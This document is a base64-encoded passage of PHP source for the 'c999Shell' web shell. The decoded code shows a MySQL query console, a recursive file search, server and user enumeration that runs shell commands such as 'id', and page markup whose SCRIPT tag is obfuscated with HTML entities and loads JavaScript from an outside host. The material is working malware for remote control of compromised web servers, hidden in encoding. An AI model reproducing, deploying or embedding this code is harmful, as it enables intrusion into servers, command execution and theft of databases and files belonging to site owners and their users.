eSkpIHskYXJyYXkgPSBhcnJheSgpO30KICRyZXN1bHQgPSAiIjsKIGZvcmVhY2goJGFycmF5IGFzICRr PT4kdikKIHsKICAkdmFsdWUgPSAiIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAu PSAkZnVuY3RzWyRrXS4iKCI7fQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogIGlm ICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiAgJHJlc3VsdCAuPSAiYCIuJGsu ImAgPSAiLiR2YWx1ZS4kc2VwOwogfQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRy ZXN1bHQpLXN0cmxlbigkc2VwKSk7CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY3Rpb25fZXhp c3RzKCJteXNxbF9mZXRjaF9hbGwiKSkKewpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRz b2NrKQp7CiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9CiBl bHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAkYXJyYXkgPSBhcnJheSgpOwogd2hp bGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9CiBt eXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIHJldHVybiAkYXJyYXk7Cn0KfQppZiAoIWZ1bmN0aW9u X2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQp7CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5 cGUsJHNvY2spCnsKIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9CiBlbHNl IHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhcnMoJGVycm9y KTsKIHJldHVybiAkZXJyb3I7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9y bSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQp7CiBnbG9iYWwgJHN1Ym1pdCwkc3FsX2Fj dCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9y LCR0Ymxfc3RydWN0OwogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgk c3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJR dWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9y LiI8YnI+Ijt9CiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9h Y3QgPSAkc3FsX2dvdG87fQogaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkKIHsKICBlY2hvICI8 dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5OXNoX3NxbHF1ZXJ5XCIgbWV0aG9k PVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSBy ZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJy Pjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFj dCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX2FjdCB2YWx1ZT1xdWVyeT48aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxf

dGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3Fs X2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2YWx1ZT1cIlllc1wi PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsKICBpZiAo JHRibF9zdHJ1Y3QpCiAgewogICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48 YnI+IjsKICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZp ZWxkIl07IGVjaG8gIsK7IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmM5OTlzaF9zcWxx dWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48 YnI+Ijt9CiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgfQogfQogaWYgKCRzcWxfcXVlcnlf cmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9 Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQp7CmZ1bmN0aW9uIG15c3Fs X2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpCnsKICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiLmFkZHNs YXNoZXMoJGRiKS4iYDsiOwogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2sp O30KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0 cygibXlzcWxfcXVlcnlfcGFyc2UiKSkKewpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkp CnsKICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsKICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKIC8q YXJyYXkgYXJyYXkoKQogewogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksCiAgIk1FVEhPRDEi Li4uCiAgLi4uCiB9CiBpZiBvdXRwdXRfdHlwZSA9PSAwLCBubyBvdXRwdXQsCiBpZiBvdXRwdXRfdHlw ZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3IKIGlmIG91dHB1dF90eXBlID09IDIsIG91dHB1dCB3 aXRob3V0IGNvbnRyb2wtYnV0dG9ucwogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpdGggY29u dHJvbC1idXR0b25zCiAqLwogJHR5cGVzID0gYXJyYXkoCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksCiAg IlNIT1ciPT5hcnJheSgyLDEpLAogICJERUxFVEUiPT5hcnJheSgxKSwKICAiRFJPUCI9PmFycmF5KDEp CiApOwogJHJlc3VsdCA9IGFycmF5KCk7CiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogaWYgKGlz X2FycmF5KCR0eXBlc1skb3BdKSkKIHsKICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5cGVzWyRv cF07CiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7CiAgaWYgKCR0eXBlc1skb3BdID09IDIpCiAg ewogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoc3RydG91cHBlcigkdikgPT0g IkxJTUlUIikKICAgIHsKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsKICAgICAkcmVz dWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7CiAgICAgaWYgKGNvdW50 KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0 WyJsaW1pdCJdWzBdKTt9CiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7CiAgICB9CiAgIH0K ICB9CiB9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OTlm c2VhcmNoIikpCnsKZnVuY3Rpb24gYzk5OWZzZWFyY2goJGQpCnsKIGdsb2JhbCAkZm91bmQ7CiBnbG9i YWwgJGZvdW5kX2Q7CiBnbG9iYWwgJGZvdW5kX2Y7CiBnbG9iYWwgJHNlYXJjaF9pX2Y7CiBnbG9iYWwg JHNlYXJjaF9pX2Q7CiBnbG9iYWwgJGE7CiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQ QVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hp bGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYoJGYgIT0gIi4iICYmICRmICE9 ICIuLiIpCiAgewogICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygk ZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsi bmFtZSJdLCRmKSk7CiAgIGlmIChpc19kaXIoJGQuJGYpKQogICB7CiAgICAkc2VhcmNoX2lfZCsrOwog ICAgaWYgKGVtcHR5KCRhWyJ0ZXh0Il0pIGFuZCAkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3Vu ZF9kKys7fQogICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2M5OTlmc2VhcmNoKCRkLiRmKTt9CiAgIH0K ICAgZWxzZQogICB7CiAgICAkc2VhcmNoX2lfZisrOwogICAgaWYgKCRib29sKQogICAgewogICAgIGlm ICghZW1wdHkoJGFbInRleHQiXSkpCiAgICAgewogICAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygk ZC4kZik7CiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsi dGV4dCJdKS4iICI7fQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9s b3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9CiAgICAgIGlmICgkYVsidGV4dF9y ZWdleHAiXSkgeyRib29sID0gZXJlZygkYVsidGV4dCJdLCRyKTt9CiAgICAgIGVsc2UgeyRib29sID0g c3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30KICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJv b2wgPSAhJGJvb2w7fQogICAgICBpZiAoJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZisr O30KICAgICB9CiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICB9CiAg IH0KICB9CiB9CiBjbG9zZWRpcigkaCk7Cn0KfQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19k aXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5h bWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQovL1NlbmRpbmcgaGVhZGVycwpAb2Jfc3RhcnQoKTsK QG9iX2ltcGxpY2l0X2ZsdXNoKDApOwpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkKewogZ2xvYmFsICRn emlwZW5jb2RlLCRmdDsKIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5f YXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpCiB7CiAgJHYgPSBAb2Jf Z2V0X2NvbnRlbnRzKCk7CiAgQG9iX2VuZF9jbGVhbigpOwogIEBvYl9zdGFydCgib2JfZ3pIYW5kbGVy Iik7CiAgZWNobyAkdjsKICBAb2JfZW5kX2ZsdXNoKCk7CiB9Cn0KZnVuY3Rpb24gYzk5OXNoZXhpdCgp CnsKIG9ucGhwc2h1dGRvd24oKTsKIGV4aXQ7Cn0KaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAx OTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0g

WSBIOmk6cyIpLiIgR01UIik7CmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hl LCBtdXN0LXJldmFsaWRhdGUiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHBy ZS1jaGVjaz0wIiwgRkFMU0UpOwpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKaWYgKGVtcHR5KCR0 bXBkaXIpKQp7CiAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsKIGlmIChpc19kaXIo JHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9Cn0KJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIp OwokdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOwpp ZiAoc3Vic3RyKCR0bXBkaXIsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdG1wZGlyIC49IERJ UkVDVE9SWV9TRVBBUkFUT1I7fQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9 ICR0bXBkaXI7fQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30KaWYg KEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkg PT0gIm9uIikKewogJHNhZmVtb2RlID0gVFJVRTsKICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9cmVk Pk9OIChzZWN1cmUpPC9mb250PiI7Cn0KZWxzZSB7JHNhZmVtb2RlID0gRkFMU0U7ICRoc2FmZW1vZGUg PSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30KJHYgPSBAaW5pX2dl dCgib3Blbl9iYXNlZGlyIik7CmlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7JG9wZW5i YXNlZGlyID0gVFJVRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250 PiI7fQplbHNlIHskb3BlbmJhc2VkaXIgPSBGQUxTRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xv cj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQokc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMo JHNvcnQpOwppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30KJHNvcnRbMV0g PSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsKJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJW RVJfU09GVFdBUkUiKTsKaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NP RlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQok RElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBo cmVmPVwiIi4kc3VybC4iYWN0PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5w aHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09G VFdBUkUpKTsKQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7IC8vRkZGRkZGCkBp bmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsgLy8jRkY4MDAwCkBp bmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCCkBp bmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsgLy8jMDAwMDAwCkBpbmlfc2V0 KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsgLy8jMDA3NzAwCkBpbmlfc2V0 KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAwMAppZiAoIWlzX2Fy cmF5KCRhY3Rib3gpKSB7JGFjdGJveCA9IGFycmF5KCk7fQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVj aWFsY2hhcnMoJGFjdCk7CiRkaXNwX2Z1bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7CiR1 ZCA9IHVybGVuY29kZSgkZCk7Cj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1U eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVx dWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0 ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBwaHBzaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpF OiA4cHQ7IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJh ci1mYWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3Jv bGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzEw MTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10cmFjay1j b2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTog VmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBC QUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsg Rk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBU RVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9S OiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxp bmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3du IHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9u ZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNr aW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsg YmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4 OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0 OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91 bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVu OyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2Vu ZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGlu Zy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4 MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsg Ym9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7 IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVy

OiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNp emU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xp ZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7 IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2 Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6 ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJh bWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZG RjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1U T1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBm b250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDog OHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90 dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNv bG9yOiAjQjdCMkIwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlk OWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0 eWxlPjwvaGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAw IGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdp bndpZHRoPTA+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhl aWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3 aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9 MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVpZ2h0PSIxNSIgbm93 cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHA+PGZvbnQg ZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJlZj0iPD9waHAgZWNobyAkc3Vy bDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxiPjxTQ1JJUFQgU1JDPSYjeDY4JiNm dGhmdGhmamd5ayYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI3gyZSYjeDcwJiN4NzImI3g2OSYjeDc2 JiN4NjMmI3gzMCYjeDY0JiN4NjUmI3gyZSYjeDYzJiN4NmYmI3g2ZCYjeDJmJiN4NjkmI3g2ZCYjeDYx JiN4NjcmI3g2NSYjeDczJiN4MmYmI3g3OSYjeDYxJiN4N2EmI3gyZSYjeDZhJiN4NzM+PC9TQ1JJUFQ+ Yzk5OVNoZWxsIHYuIDw/cGhwIGVjaG8gJHNodmVyOyA/PjwvYj48L2ZvbnQ+PC9hPjxmb250IGZhY2U9 V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+PHRyPjx0 ZD48cCBhbGlnbj0ibGVmdCI+PGI+U29mdHdhcmU6Jm5ic3A7PD9waHAgZWNobyAkRElTUF9TRVJWRVJf U09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+dW5hbWUgLWE6Jm5ic3A7 PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+PC9iPiZuYnNwOzwv cD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2luKSB7ZWNobyB3b3Jkd3JhcChteXNoZWxs ZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7fSBlbHNlIHtlY2hvIGdldF9jdXJyZW50X3VzZXIoKTt9ID8+ PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+U2FmZS1tb2RlOiZuYnNwOzw/cGhwIGVjaG8g JGhzYWZlbW9kZTsgPz48L2I+PC9wPjxwIGFsaWduPSJsZWZ0Ij48P3BocAokZCA9IHN0cl9yZXBsYWNl KCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CmlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRo KCIuIik7fSBlbHNlaWYocmVhbHBhdGgoJGQpKSB7JGQgPSByZWFscGF0aCgkZCk7fQokZCA9IHN0cl9y ZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CmlmIChzdWJzdHIoJGQsLTEpICE9IERJ UkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KJGQgPSBzdHJfcmVw bGFjZSgiXFxcXCIsIlxcIiwkZCk7CiRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOwokcGQgPSAk ZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOwokaSA9IDA7CmZv cmVhY2goJHBkIGFzICRiKQp7CiAkdCA9ICIiOwogJGogPSAwOwogZm9yZWFjaCAoJGUgYXMgJHIpCiB7 CiAgJHQuPSAkci5ESVJFQ1RPUllfU0VQQVJBVE9SOwogIGlmICgkaiA9PSAkaSkge2JyZWFrO30KICAk aisrOwogfQogZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR0KS4i JnNvcnQ9Ii4kc29ydC4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS5ESVJFQ1RPUllfU0VQQVJB 